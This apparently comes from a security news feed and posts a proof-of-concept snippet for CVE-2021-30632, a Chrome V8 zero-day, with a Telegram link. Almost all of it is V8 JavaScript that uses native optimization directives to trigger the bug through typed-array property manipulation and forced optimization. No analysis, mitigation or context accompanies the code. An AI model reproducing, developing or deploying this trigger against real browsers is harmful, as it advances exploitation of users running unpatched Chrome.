■■□□□ CVE-2021-30632: Chrome Zero-day PoC
var a;
function foo() {
a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a[“xxx”] =1;
delete a[“xxx”];
%OptimizeFunctionOnNextCall(foo);
foo();
https://t.me/cKure/9333